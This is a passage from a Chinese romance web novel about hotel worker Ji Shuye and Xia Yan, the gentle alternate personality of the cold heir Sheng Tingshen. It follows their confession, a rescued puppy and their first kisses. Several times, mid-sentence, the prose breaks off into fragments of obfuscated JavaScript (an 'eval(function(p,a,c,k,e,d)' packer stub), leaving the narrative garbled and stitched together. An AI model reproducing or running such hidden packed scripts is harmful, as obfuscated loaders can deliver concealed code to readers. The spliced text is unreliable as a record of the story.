季纾也有点不好意思:“我现在下去给你买吧。” “不用不用,现在这可不是重点了。”程薇拽住她,“你是因为那个男的才这个点回来啊,你们干嘛去了?” 程薇的眼神和语气都暧昧得不行,让季纾也本已经冷却下来的脸颊又有火热的意思:“你别瞎猜啊,我们没做什么。” “是嘛,那怎么这么晚呀。” “就……就一起喝了点酒,聊了很久的天。” “就这样?什么都没做?” “当时太黑了。”季纾也沉思了会,说道,“非要说做什么的话,他怕我摔倒所以牵我走了一段,这……算吗?” “当然算了!我去!!你们搞纯爱啊,长什么样长什么样!给我看看照片。” 季纾也:“我没他的照片,其实……这不过是我见他的第二面。” “我懂,你们一见钟情了!” “他不一定……” “怎么不一定,要是不喜欢还能牵你的手啊。” 季纾也:“是吗?” “是啊。” 季纾也其实自己也有点感觉,夜晚的暧昧浓烈,对一个人有好感并不好藏。 只是,这很神奇呢。 喜欢上一个人竟是一件这么迅速的事情吗。 洗完澡后,季纾也趴在床上,看到夏延给她发来的消息。 他说他已经到家,她立刻给她回复:【好哦。今晚很开心,谢谢你】 夏延:【应该是我跟你说谢谢,帮我找到一个很好的解压方式】 季纾也:【好吧,那不客气!】 夏延:【下次见面换我请你吃饭】 季纾也看着这行字,嘴角的笑怎么都收敛不住:【好呀】 夏延:【那你早点休息,晚安。】 季纾也:【晚安!】 . 一夜好梦,次日七点半闹钟响起,季纾也完全没有起床气。 从床上爬起后,她第一个念头就是重看聊天记录,看到昨晚和夏延的对话停留在【晚安】两字上,抿唇笑了笑,发了个【早上好,准备上班!】,外加一个自我鼓励的可爱表情包。 叮。叮。 手机响了两声。 夏延放下手上的刀叉,将一旁的手机拿起。 看到微信上的两条消息,他眉眼不自觉带上了笑意,回复:【加油】 对面的人回应很快:【好的,你也是哦~】 夏延想再回复点什么,却又有一道铃声响起,但是,并不是他的手机。 他本不欲理会,但铃声绵延不绝实在打扰他吃饭,最终还是皱着眉头起身,走进书房,拿起那只黑色手机。 “喂。” “盛总,有几份文件加急,我送过来给您签一下。” 夏延眉目淡了下来:“他还没回来。” 对面的人愣了愣,又很快说:“夏先生,那我方便先把文件拿进来吗,我在门口。” 夏延:“进来吧。” “好的。” 没几分钟后,大门响起解锁声。 一个穿着黑色西装的男人走了进来,约莫三十岁,身材高大魁梧,长相却是清秀的。他站在客厅里,朝他点了点头。 “严特助,早上吃过了吗,还没有的话一起吧。”夏延说。 严为明笑了一下:“我吃过了,夏先生。” “好。对了,我等会打算去购置一点家具,你实在着急的话可以跟我一起去,带着你的文件。”夏延体贴地说,“也许中途他会回来。” 严为明思考了下:“可以。” 夏延:“不过到时如果我的家具还没下单,得麻烦你帮我处理一下后续的事。” “没问题。” 夏延继续吃早饭。 严为明则坐在客厅的沙发上,一边处理手头的工作,一边等待夏延吃完后出发家具城。 “你来做什么。” 几分钟后,不远处突然传来了一道声音。 严为明侧眸看去,只见夏延已经起身走了过来,不,此时的他已经不是“夏延”了。 与方才他进门时温和体贴的语气相比,此时的“夏延”语气生冷,更低沉,有种生人勿进的冷漠感。 “盛总。”严为明不再悠然地坐在沙发上,立刻站起身。 从二十岁被选为贴身助理开始,严为明就已经知道他“老板”的秘密。 老板与常人很不同,他只有一副身体,却有两个人格。 这听起来很不可思议,却是真真正正存在的事,也是盛家最为私密的事。 第一人格是严为明真正的“服务对象”,严苛,冷漠,工作上雷厉风行,心狠手辣,是盛氏集团最有力的继承人盛亭深。 第二人格叫夏延,温和、体贴、爱笑……可以说,夏延和盛亭深完完全全是不一样的人。 “这里是和成光公司项目合作书,您上次说合同确定了就立刻拿来给您过目签字,所以我今天就过来了。” “恩。” 盛亭深在沙发上坐下,接过严为明递过来的合同。刚看了几眼,口袋里的手机就响了起来,是微信消息。 盛亭深眉头轻皱,拿出手机看了眼。 这台手机设有密码,他知道密码,但从来懒得看这台手机。 至于微信消息……那个人日常与他所谓的朋友的聊天,他一点兴趣也没有。 盛亭深随意地把夏延的手机扔在一旁,“把我的手机拿过来。” 严为明在他身边多年,自然什么都明白,立刻转去书房,将桌上黑色的手机取来。 盛亭深划开屏幕,里面目前有几个未接电话和未读消息。 看来他睡了将近两天。 盛亭深漠然地浏览着未读消息,自然也看到了夏延不久前给他发来的“两天日记”。 这是他们的相处方式,为防止露馅,对方不在的时候必须将具体的事以这种方式“告知”,以防生活中某些不受控的意外出现。 但意外基本不存在,因为夏延很安分,除了月下那个好友蒋昀和那家小地质公司的员工外,基本不太接近其他人。 盛亭深随意看了眼夏延记录—— 1、地质公司工作 2、月下酒吧:弹琴。 跟以往没什么不同,无聊至极。 不过这样很好,够安分,不会给他惹麻烦。 . 今天是朝气满满的一天! 往日里被地铁挤压一路的阴郁今日丝毫没有产生,季纾也从地铁口开心小跑,临近酒店大厅时才缓下步伐。 绕过长廊又坐上电梯后,她到达女员工的换衣间。 换衣服时,妈妈给她打来电话,问她最近跟李源有没有联系。 她知道李源在爸妈心中是很优秀的女婿,所以至此还不放弃。季纾也没法,只能实话实说,告诉他们她和李源不会再有交集。 父母在老家开小型棋牌室,听她这么说后,妈妈不高兴的埋怨声和稀稀疏疏洗麻将的声音从听筒里传来。 “有房有车的你都不要,看你任性到几时!” “妈,我跟他未来想停留的地方都不一样,那也没办法啊。” “你回来不就行了吗!” 又来了。 每次都是一样的话。 季纾也没了耐心,“我马上要上班了,先挂了。” “欸你——” “你和爸注意身体吧。” 手机及时关闭。 季纾也舒了一口气,有些惆怅,可是,她一点都不后悔。 遇到夏延后,她才知道自己之前对李源的种种感觉没有一样是关于喜欢,只是因为他性格不错,有房有车,合适而已。 房车…… 季纾也想起这是她找对象很必须的条件之一,因为她自小听惯了母亲对婚姻经济窘迫的埋怨,且打定主意以后要赚钱过好日子。 如果有对象的话,他也必须要有一定的物质基础。 所以夏延有物质基础吗? 季纾也突然发现从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但还是很累,东奔西跑,微信步数直线飙升,等完成上级给的所有指标回到酒店时,季纾也的腿已经酸得不行。 但她没敢遛到小角落休息,毕竟今晚是耀科的酒会,其他同事都在现场忙碌。 简单喝了杯水,咬了几口三明治,她便去到酒店开放酒会的宴会厅。 这个宴会厅是专门承接这类场合的地方,巨大的水晶灯如璀璨星河倾斜而下,将整个空间照得如梦似幻。 空气中弥漫着清淡好闻的香味,侍者托着香槟和各类点心,穿梭在其间。 衣香鬓影,觥筹交错,三两聚集的人各个身着正装,浑身冒着上层人士的金光。 “回来啦。”陈慧看到站到自己身边的季纾也,小声说了句。 季纾也点头:“这边也快结束了吧。” “差不多了,你今天不在太可惜了,错过太多!” “什么?” “半个小时前盛家那位四少上台讲了两句,我第一次看到真人,贼帅!人还特别有气质,比小岚喜欢的那些明星有感觉多了!” 季纾也:“什么四少?” “耀科不是盛华集团下面的公司吗,所以今晚盛家那边也来人了,四少就是盛家孙字辈最有能力的盛亭深,你知道吧?” “我知道这个名字,资料里有,但是没见过本人。”毕竟筹备的是耀科的酒会,来宾的名字都在他们的资料库里。 “是呢!听说他从不在媒体面前露面,公开场合也不让拍照片。今天这么一见,真绝了。” 季纾也轻笑,“有那么夸张吗。” “真有!欸,看那边看那边,就是最中间那一个。” 陈慧面上不动声色,但压低的声音非常激动,一个劲地示意她往宴会厅另一个门看。 原来盛亭深还没走,又回了宴会厅,但他只是来跟几个盛华的合作方打声招呼而已,在门口没进来,站一会就离开了。 所以季纾也看过去的时候也就只看到一个侧影,然后很快不见。 “看到没?”陈慧问。 季纾也目光停留在那个方向。 陈慧见她这幅神色,勾了勾唇:“有没有看到正脸?是不是很帅……纾也,纾也?诶诶,回神了,等会杨姐看到你发呆要骂死你。” 季纾也没有回应陈慧的话,她看着那个方向,眸中冒出几分疑惑。 是她的错觉吗? 为什么她感觉那个人的身影有点像……夏延? 5. 第五章 但夏延怎么可能出现在这里。 一定是自己想他想疯了…… 季纾也讪讪收回目光,心想她是不是太过于沉迷一个男人,看谁都是他,太夸张了。 “季纾也,陈慧。” 就在这时,他们的直属领导杨潼走过来。 两人正色,连忙应声。 杨潼:“你们两个送一下耀科的张总和林总,这两人有点喝醉了,务必安全送上车。” 上级稍微示意了下客人的位置便又忙着招待起其他人去了,季纾也和陈慧对来宾基本熟悉,立刻锁定那两人,一人一个护送出去。 耀科对举办的酒会很满意,隔天杨潼开完会回来,夸了手底下的人一番。这次的活动也可以让他们在“团队奖金池”里获得一份奖励。 没什么比钱更实际的东西了,季纾也心情大好。 更让她心情愉悦的是,这日中午,她收到了夏延的消息。 【抱歉,临时去野外作业,这几天都没什么信号】 季纾也料想到这样,满心欢喜,午饭都忘了吃:【没关系,那你回来了吗?】 夏延:【恩】 季纾也:【辛苦啦】 夏延:【对了,我还欠你一顿饭】 季纾也微微坐直,心脏开始活跃,她很想再见他,很想很想。 于是也顾不得矜持,垂眸打字:【是呀,周末有空的话可以补上哦】 【今晚行吗?】 季纾也愣了愣,没想到他会约今天。 毕竟上班的牛马不出意外是不太会在下班后答应约饭的,毕竟工作了一天,太累了。 但如果是夏延就不一样,再累她都会去。 于是季纾也回复:【行,今天正好没那么忙,可以正常下班】 夏延:【你在哪家酒店上班,我来接你】 季纾也:【不用呀,你可以给我发餐厅地址】 夏延:【没关系,我约你吃饭,应该来接你】 正午的阳光透过酒店的玻璃窗落到季纾也的脸上,让她的笑容愈发明媚。 邹小岚看到她的神色,幽幽一笑:“纾也,有男朋友啦?” “什么?!”陈慧瞪眼,凑过来道,“你什么时候有男朋友了?好多男同事跟我打听你的情况,我说还单身来着!” “不是男朋友……不过要是还有下次,你可以帮我跟别人说我已经有喜欢的人。” “喔~所以不是男朋友的意思是,还不是。” 季纾也咳了一声,“哎呀,反正就算没有喜欢的人,我也不会找同一家酒店的同事当对象。” “那也是,分手了会很尴尬。”陈慧挑了挑眉,“行吧,下次我帮你拒了,你手机里的这个……加油!” 有了期待,就会感觉时间过得很慢。 好不容易熬到下班时间,季纾也立刻冲去换衣间换回自己的衣服,而后快速补妆、整理发型。 她跟夏延说的是六点半下班,等她小跑出酒店,到马路对面的咖啡店时,夏延已经在等着她了。 他就坐在靠窗的位置,穿着米白色的裤子和雾蓝色的衬衫,很宽松休闲的风格,让他莫名多了几分少年感。 他的目光一直是往外看的,所以也立刻看到她,走了出来。 “抱歉抱歉,久等了。”她迎上去,心口砰砰直跳,很紧张。 “我就早到了一点而已,没等多久。” “那我们现在去哪?” “车在停车场了,走吧。”夏延看起来也有点紧张,因为他往左走了两步又突然发应过来,停车场在反方向。 “哦不对,是右边。” 季纾也瞄了他一眼,看他脸上有几分窘意,嘴角忍不住上扬了几分。 停车场很近,五六分钟就走到了,夏延替她开了车门。 季纾也对车子研究不多,但这两年来电车风靡,她还是知道一些牌子的。他这辆车就是耀科公司去年出的SUV系列。 好看看哦,什么时候她也能买一辆就好了。 这念头只是一闪而过,因为季纾也的思绪很快回到夏延身上,他给她关上车门后上了主驾驶。她忍不住侧眸看他,被他的侧脸完全吸引。 怎么他开车也像躺钢琴一样好看呀。 “你想听歌吗?”夏延问。 “可以呀。” “恩,想听什么自己放。” “我也不知道听什么,放你的歌单吧。” 夏延目视前方,握着方向盘的手指轻轻动了下,“好的。那……纾也。” “恩?” “你别看着我。”夏延停顿了下,耳朵微红,“我有点紧张,怕开不好车。” 季纾也愣了愣,倏地收回视线。 糟糕!看入迷还被发现了! 好羞耻! 不过,他刚才叫她什么…… 纾也。 晕,她怎么没发现自己的名字这么好听啊。 几日不见忽得又相见,两人都紧张。 所幸到餐厅后,聊着聊着放松了许多。 这家餐厅环境很好,是家融合菜。季纾也之前有听说过口味独特,想来,但一直没来过,夏延很会挑选餐厅。 两人边吃边聊,季纾也问他去这几天去哪工作,夏延跟她说了地址,还说那个地方环境很艰苦。 “你呢,最近怎么样?工作还像你之前说的那样忙碌吗?” 季纾也:“最近还好,主要是心情好,所以就会觉得工作也不那么烦躁了。” 至于为什么心情好,好像是因为遇到了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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季纾也看着眼前如江水般黑而幽深的眼眸,心湖荡开了一阵涟漪。突然有了一股冲动,积累了好几天的冲动。 可这样会不会太草率呢? 或者,显得轻浮? 啊啊啊啊可她真的喜欢啊……不管了! 指尖微微陷入手心之中,季纾也像是要靠此汲取某种力量,轻吸了口气:“夏延,那你觉得我怎么样?” 晚风掠过,吹乱了两人额前的碎发。 夏延愣住,只看到眼前的女孩眼底闪着一种完全豁出去的、灼人的明亮。 像夜空中最亮的那颗星,完完全全攥住了他的目光。 6. 第六章 妈妈关于对象的某些碎碎念确实很讨厌,但她有句话说得还是对的。 好男人要抢,因为他们很少会在市场上流通。 夏延是她很喜欢的那种类型,性格温和,容易害羞,会倾听、有礼貌,而且弹琴很好听。 更更加分的是,他长得好好看,身高、体型,整个人都在她的审美点上。 再者,她隐隐约约间也觉得对方对她有意思。 所以既然遇上了自己的天菜,她当然想搏一把。 万一成了呢。 毕竟她长到这个年纪还没谈过真正的恋爱,想想就好亏哦。 回到家的时候,季纾也还沉浸在主动表白的自我震撼里。 她觉得自己勇敢到爆炸了。 而夏延的反应也很让她喜欢,他并没有立刻同意或者拒绝,他垂眸看着她,耳朵通红,而后有些不自然地说,这是件很重要的事,他想好好思考一下,再回答她。 当下,季纾也欣然同意了。 过后两天里,她没有主动找他聊天。 他说要考虑,她便给他考虑的空间。 然而随着时间一天天过去,在迟迟没有收到他的回音后,季纾也内心的想法也逐渐从“自己好勇敢”变成了“她可能是小丑”。 她开始思考自己到底哪来的自信觉得夏延是喜欢她的。 她的人生从来都是倒霉透顶,哪有这种好事。 沮丧的情绪开始蔓延,再加上上班时弄错了会议报价单的价格被经理大骂一通,季纾也完完全全被坏情绪裹挟了。 下班的时候,陈慧和邹小岚看到她灰蒙蒙的脸色,过来安慰了两句。 季纾也勉强笑了下说没事,换了衣服便下班了。 盛夏的明海市天气多变,六点出头时,突然下起了大雨。 季纾也走出酒店看到这天气,心情更糟糕了,从包里拿出雨伞,拧着眉往地铁站的方向去。 走到一半,意外看到绿化带上有一只小狗,蹲在枝叶下瑟瑟发抖。 然而这么大的雨,植物哪里挡得住,狗狗被淋得湿透,茫然无措地趴在地上。 好小。好可怜。 那一瞬,季纾也觉得这只狗狗跟自己一样倒霉。 于是她想也没想,转身就朝它走去。 但这只狗狗也不知道是不是太害怕人类,看她朝它走来警惕地起身,扭头就朝向马路方向。 大雨天来来往往的车子,开得飞快。 季纾也心口一颤,立刻奔了过去! . “雨太大,没心情……怎么,我不回去吃饭你们还咽不下去了?” 外界闷热潮湿,车内却清凉干燥。 司机老陈目视前方,听到从后座传来的嘲讽声,但后方的人并不是在跟自己说话,而是跟电话里的人。 听得出来,后座的人此时心情很不好,于是老陈正了正神色,车速稍微放慢了些,防止自己在雨天开车失误。 正这么想着,突然,花坛边窜出了一个人。 老陈头皮一紧,猛地踩下了刹车! 车轮在潮湿的路面上急急停住,和地面摩擦,发出了令人寒毛直竖的声音。 老陈瞪大了眼睛,还没缓过神,就听到后面的人不满道:“什么事。” 老陈立刻回头解释:“盛总,有一个人突然从花坛里跑出来。” 盛亭深眸光微敛,冷淡问:“撞了?” “应该是没有的,我,我下车看看。” “快点处理。” “是。” 膝盖和手肘传来火辣辣的痛感,季纾也抱着小狗坐在地上,眼睛被雨淋得几乎睁不开。 “小姑娘,没事吧?” 季纾也抬眸,看到驾驶位有人出来了,一个四十多岁男人,一身黑西装,眉头紧皱,脸上是按捺不住的慌张。 季纾也连忙大声道:“没事没事,不好意思啊。” 老陈好心将雨伞撑到她头顶,“这么大的雨你怎么能突然跑出来,要不是我刹车快你就没命了!” “抱歉……” 老陈垂眸看了眼她怀里抱着的狗,明白过来了,“要不要送你去医院,你这手和腿……” “不用,没碰到我,您走吧。” 可这年头,出车祸的时候不说什么,事后扯皮的人太多了。 老陈不太放心,想了想,回到主驾驶位往里问道:“盛总,那小姑娘的手和脚都流血了,但她说没事,不用送她去医院,您看……” 后座的人闭目养神,此时才掀开眼皮往窗外看了眼。 入目是个湿漉漉的女人,穿着吊带长裙,妆都花了,狼狈至极,可一双眼睛却很亮,隔着雨幕,依然清晰。 盛亭深的视线不自觉在她眼睛上停了几秒,但下一秒目光落到她怀里同样狼狈的脏狗时,皱眉转开视线:“给她转一笔钱,让她让开。” “明白。” 老陈又小跑着回季纾也旁边。 “小姑娘,我们加个微信吧,医药费转给你。” 季纾也:“真不用,是我刚才突然跑出来,不关你的事。” “呃……但我们老板说,给你转一笔钱。你看后续要有什么问题,也可以用这笔钱去医院对吧。” 这话季纾也是听明白了,他们怕她后续报警扯皮,所以提前用最简单的方式处理她。 她抿了抿唇,再次看向停在边上黑色豪车。从前挡风玻璃望进去,能看到后座坐着一个人,但是角度加下雨的缘故,她看不清他的样子。 “跟你们老板说我后续不会找麻烦的,再见。” 季纾也抱着狗,一步一瘸地往回走。 老陈叫不回她,只好算了,返回车中。 “盛总,她没有要钱,说不会找麻烦后就走了。” 外面雨势丝毫没有减弱的样子,盛亭深随意望向窗外,只见不远处纤细的身影正弯腰捡起地上的雨伞,撑在自己的头顶。 而后她微微低头,下巴靠近怀里的脏狗,也不知道说了什么,眼睛弯起,嘴边扬起了一抹笑。 盛亭深极其厌恶犬类生物,不再多看:“开车。” “是。” . 为了这只狗狗,季纾也在原地等了许久,发现真的没人找狗后才“斥巨资”在晚高峰打车回家,又外卖了一袋狗粮。 她把它带回自己房间的浴室清理了下,检查过后发现它没有受伤便暂时把它安置在房间的小角落里。 她打算发个朋友圈问问有没有人想要养狗,因为她没法在这养。 程薇狗毛过敏,方才她回家前跟她沟通过,程薇同意她暂时先带回来,但要尽快送走。 对着狗狗拍了几张照,季纾也发了个朋友圈。 但她在明海认识的人不多,同事们要是反应不大的话,能领养它的人就很难找了。 季纾也想起方才看到它时的样子,同病相怜的意味更重了。 “你真倒霉,我也真倒霉……阿啾——”淋了场大雨,季纾也开始打喷嚏,她怕自己感冒发烧影响上班,赶紧喝了杯热水,裹在被子里闷汗。 结果闷着闷着,睡了过去。 再次醒来是两个小时之后的事了,晚上十一点钟。 季纾也看到那只小狗狗已经吃了点狗粮,在她搭的简易狗窝里睡着了,她松了口气,看向手机,这才发现自己有几个未接的语音电话。 点开后,意外发现是夏延打来的。 季纾也心口颤了颤,随即就有种委屈感。 这么几天不联系,她已经知道答案,他干嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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要死……他真的很好看。 “这个感冒药给你,可以吃了再睡。”他开口说。 季纾也没有接,小声嘟囔,含着点小脾气:“你干嘛给我送药……都说了没事。” “正好在小区门口,而且你们小区不远处就有家药店。” “正好?”季纾也疑惑,“你,为什么在我家小区门口?” 夏延微仰着头,专注地看着她:“纾也。” “恩?” “我……工作原因,时常不在这个城市,时常接不到电话,回不了消息。也许我会突然消失,又突然回来。所以,我没办法每天陪着你,也没办法想见面就见面。如果是这样的话……你,还愿意跟我在一起吗?” 夜风似乎停了,灯光在他的瞳孔里闪烁,像钻石一般。 季纾也完全愣住,大脑宛如一台过载的机器,能处理信息的齿轮都戛然而止。 “我这几天想了很多,我没办法跟你像普通人那样谈恋爱,我怕你之后会失望,所以……一直在犹豫,也一直想着拒绝。”夏延走上阶梯,离她更近了,他轻声说,“可是,我很快发现我忍不住,我想见你。特别特别想见你。” 嗡的一声,季纾也的脸颊烧了起来,她能清晰地感觉到血液在翻涌,变得滚烫,胸口里无数气泡在欢快地升腾,带来一阵阵酥麻感。 她被这种新奇的感觉冲昏了头,完全忘了这几天的不愉快。 原来……原来他不是不喜欢她,他只是在担心这些现实的情况。 “纾也——” “我不在意那些!”脑子里的齿轮开始转动,季纾也能处理出来的只有这两句直白的话,“我不在意。夏延,我们在一起吧。” 7. 第七章 什么时常不在这个城市,什么时常接不到电话、回不了消息。 这年头,上起班来忙成狗,这些不都是常态? 季纾也自己就经常忙得忘记回复朋友的微信,以前做其他工作的时候,还有经常出差不在本市的。所以这对她来说不算什么啊。 情侣天天黏在一起才稀奇吧。 “夏延,我们在一起吧。”于是她直接这么说。 而夏延看着眼前的女孩,也觉从未感受过像此刻这样的愉悦,喉结轻轻滚动,恩了一声。 夜风又缓缓地吹起,互诉衷肠后的两人面面相觑。 直抒胸臆的勇气褪去,留下的是微微颤抖的情绪。 兴奋,喜悦,还有一种近乎晕眩的羞赧,让人完全不知道下一步该做什么。 “所以从现在开始,我们是男女朋友啦?”沉默许久后,季纾也试探地问了句。 夏延再次点头。 季纾也摸了摸鼻子,压制不住嘴角的笑意:“喔……好吧。那,那现在要做什么?” “你会难受吗?身体上。”夏延问道。 季纾也摇摇头:“我不难受了。” “但还是要好好休息,你早点回去,别在这吹风。” “好。” 说完后,对视的两人丝毫没有先退场的意思。 季纾也道:“你先走呀,在这待了那么久,很累了吧。” “不会,见到你就不觉得累了。” 空气微妙的绷紧,吹来的风都泛着甜意。 季纾也胸口涨涨的,完全不想回家。 好想就这么站着,跟他待在一起喔。 不过,这话要是说出来,会显得她很不矜持吧?! “你先回,我看你进去。”夏延说。 季纾也低头看了看脚尖,恩了一声,恋恋不舍地转身。走了几步后突然又想起什么,噌地跑回来。 “夏延。” “恩?” “晚安!”她快速倾身抱了他一下,而后立刻转身跑走,头都没敢回。 温热柔软的身躯转瞬即逝,夏延错愕,怔在原地,等她的身影彻底消失不见了,他才想起自己竟然没有回抱住她。 后悔的情绪瞬间涌来,但更多的是甜蜜。 他不知道要怎么描述此时的心情,只觉得自己今晚这个决定是对的。 他想拥抱她,拥有她,哪怕只有一瞬间。 . 回到屋里,季纾也还处在一种飘飘然的状态。 她扑倒在床里,差点把自己扭成麻花。 “小狗,你真是我的福星欸!我的运气突然就变好了!”她从床上起来,又趴在地板上说话。 小狗狗茫然地看着她,睁着水汪汪的眼睛。 季纾也道:“要不我给你取个名字吧!幸运,你叫幸运怎么样?!” 小狗自然不会回到她的话,但季纾也完全不在乎,自言自语,沉浸在自己的世界里。 过了一个小时后,手机响了,是夏延告诉她他已经到家。 季纾也回复让他早点休息。 夏延说了好,又问她,朋友圈是怎么回事。 季纾也只好把今天在路上捡到狗的事跟他说了一遍,他立刻打电话过来。 “你摔伤了?有没有事?刚才怎么没跟我说。” 季纾也捧着手机,笑得很甜:“擦破皮而已,我已经上过药了,没事的。” “下次一定要自己的安全为先。” “我知道,不过当时小狗是真的很可怜。” “所以你现在在为他找新主人。” “对啊……但是没有合适的人选。其实我是很想养它的,可住进来时就跟室友达成共识,不养宠物。” “恩?你有室友?” 夏延意外的声色让季纾也想起最开始认识的时候,她说自己一个人住。 她顿时有些不好意思,“我,我当时要是不这么说,就没理由加你微信了。你不生气吧?” 毕竟有室友的话就不需要让他来确认她有没有到家,安不安全了。 夏延也明白了她的小心思,轻笑了声:“没生气,而且要谢谢你的小谎言,才让我们有后续。” 季纾也又趴进柔软的床铺里,偷偷摸摸笑了会后道:“夏延,你有朋友想要养狗狗吗?” 夏延迟疑:“应该没有……” “好吧。”季纾也道,“那我只能再想想办法了。” 女孩失望的语气很明显,夏延不忍心。 “你很喜欢它是吗?” “是啊。” “那不然,我养吧。” “真的?”季纾也难以置信,“你可以养狗吗?你,你不是经常出差吗?” 电话里惊喜的声音熨贴人心,他想让她继续高兴,于是道:“家里有阿姨,就算我出差也可以让她帮忙喂养。再说养在我那里,你也可以经常看它了。” 这确实是两全其美的办法! 季纾也很是高兴,结束和夏延的电话后,抱着“幸运”转了好几个圈圈。 幸运!你真的很幸运! . 隔天周六,休息日。 季纾也一手抱着幸运,一手提着狗粮,站在小区门口等夏延。 他很快就到了,从车上下来,帮她把幸运的狗粮放到后备箱。 昨夜确定双方心意后,两人此时面对彼此都有些拘谨。季纾也坐在副驾驶,东看西看,就是不好意思看他。 “给你买了奶茶,你先喝点,晚点我们安顿好幸运,再一起出去吃饭。”夏延说。 “好,谢谢。”季纾也拿起中控台上的奶茶喝了一口,甜滋滋的,跟她此时的心情一样。 “夏延,你家里还有别人吗?” 夏延:“我父母没有跟我一起住,我一个人。不过因为我不太会做饭,所以平时在家的话家政阿姨会来做,之后可以顺便让她照顾幸运。” “恩。” 一个小时后,夏延开车进了他家小区。 季纾也不了解这小区,但是以它所处位置来说,她觉得它价值不菲。 等后来上电梯进家门,看到偌大的客厅还有高级又有品位的装修时,她更认定了这房子非常非常好。 原先她看他开三十多万的电车,以为他就是小康家庭。 但看到这房子,她意识到他完全不是小康…… 虽然她爸妈常说,交男朋友一定要交家庭条件好的,她自己原先也一直这么想。但遇到夏延,她反而会担心他条件太好,因为处处都很好的话,她就有压力了。 “过来,我带你看看幸运的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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季纾也在紧张,也感觉到他在紧张。 说真的,她从没发现自己会这么主动。原来过去的内敛都是没遇到真正喜欢的人的缘故。 “咳……幸运今天吃过了吗。”她窃喜着扯开话题。 “吃过了。”夏延还是盯着她,突然问道,“可以再试一次吗?” “啊?” “接吻。” 这下换季纾也脸红了,支吾了声:“……可以啊。” 点头后,她看到他很快靠近,贴在了她的唇上。 蠢蠢欲动的渴求和生理的羞怯瞬间交织在一起。 他们生涩而大胆摸索着。 不知不觉,夏延的手捧上了她的脸,他几乎是本能地想去探她的舌尖。 季纾也心跳都快停了,却丝毫没有退却,缓缓启唇,迎上他的柔软。 薄荷味的,还有点甜。 季纾也脑子空白,微微颤栗,只剩下一点点分辨力。 也不知道吻了多久,夏延才微微拉开距离。 他们都轻喘着气,沉溺在那个甜腻而眩晕的世界里。 “这样,会不舒服吗?” 季纾也被亲得身体都有点软了,摇摇头。 夏延有些不自然道:“我第一次接吻,可能……需要再练习一下。” 8. 第八章 季纾也第一次正正经经谈恋爱,才发现恋爱的美妙之处。 亲亲原来一点也不恶心,它是甜味的,会让人浑身颤栗。 拥抱也不会是别扭的动作,它是温暖舒服的,靠在夏延怀里,会让她特别有安全感。 她新鲜且留恋这些感觉,不舍得离开夏延。夏延也是,晚上送她回家的时候,还在小区门口抱了她许久。 这种幸福感让两人第二天天亮后又以“一起吃午饭”为由快速黏在一起。 之后午餐、看电影、压马路,在夏延的房子里“练习”亲亲。 他们乐此不疲。 但周末总要过去,季纾也隔天要早起去上班,周日当天只好早点回去休息。 夏延送她回去后,给家政阿姨打了电话,让她在他不在的时候住在家里照顾幸运。当然,工资会给她翻倍。 喂狗加遛狗就可以拿双份工资,阿姨欣然答应。 交待完这些,夏延又去了趟“月下”。 月下的老板蒋昀看到他有点意外,“不是说今天不过来了吗?” 夏延:“蒋昀,有一件我希望你能帮我。” 自认识夏延起,蒋昀从未见过他这样的神色,他很了解他这个朋友,也知道他所有的秘密,猜想他这种神色一定是有很重要的事。 于是收敛了笑意,道:“你说。” 夏延:“我谈恋爱了。” 夏延和盛亭深之间的转变是无意识的,他们两人都控制不了。 小的时候,他们是经常性地转变,甚至有时一天能变好几次。但长大后开始有规律出现,就比如近两年来,他和盛亭深存在的时间基本是三七开的状态。 他三,盛亭深七。 以往他并没有什么所谓,只是在自己醒来时做自己喜欢做的事,但现在不同了,因为有了季纾也的存在。 他喜欢季纾也,自私地想留住她。 他不想让她那么快知道他有“病”,所以他必须安排好他沉睡时的时间。当然,他不会让盛亭深帮忙,因为他知道盛亭深这个人绝不会允许。 他只能找他最信任的朋友蒋昀,蒋昀为人正直,是唯一知道他身体秘密的好友。 他希望他能登入他的微信,在他不在的时候,简单地回复他女朋友的消息。营造他在外出差,但“存在”的假象。 当然,也只需要很偶尔回复,因为他出差的地方有“信号不好”这样的借口。 如他所料,蒋昀答应帮他。 只是临走前,他用有些担忧的眼神看他。 夏延知道他在担心什么,但他管不了那么多了。 做完一切后,他回到他原来的住所——九州华庭。 现在幸运住的那个小区叫玫瑰园,是外公留下来的。他喜欢玫瑰园,所以装修成他喜欢的风格,偶尔会过去住一晚。 但更多的时候,他还是住在九州华庭,因为盛亭深这个挑剔鬼不愿意住在玫瑰园。 进门后,夏延坐在沙发上,给季纾也报备他已经准备休息。 两人又在手机上聊了会,在季纾也必须得睡觉后才画上句号。 夏延盯着她最后发的那个可怜兮兮的表情包,幻视了她。 他想起白天季纾也躺在自己怀里,微微仰头跟他接吻,最后喘不过气时泪眼朦胧。那时的她就很可怜,也很可爱。 甚至,可爱到他感觉到一丝恐慌。 他从未这样走近一个人,也从未这样喜欢过一个人。 他才刚拥有,就已经害怕失去。 希望,她会在自己身边待久一点。 夏延躺在床上,闭上了眼睛。 嘀嗒。嘀嗒。 时间无声前行,当清晨的阳光落在地板上时,手机上的闹钟也随之响起。 一只手从床上伸出,按灭闹铃。 盛亭深看了眼手上的白色手机,并不是自己的,随意丢在一旁。接着起身,洗漱。 他自己的黑色手机在他沉睡的这几天又有了一些未读消息,盛亭深并不急着看,而是习惯性地看了眼夏延这两天发给自己的内容,很简单的五个字:在玫瑰园。 没有什么特别发生。 盛亭深不再关注,只是在洗脸时碰到嘴唇,莫名有些刺痛。 他看向镜子,发现嘴唇并未破皮,只是有些红肿。 他皱了皱眉头。 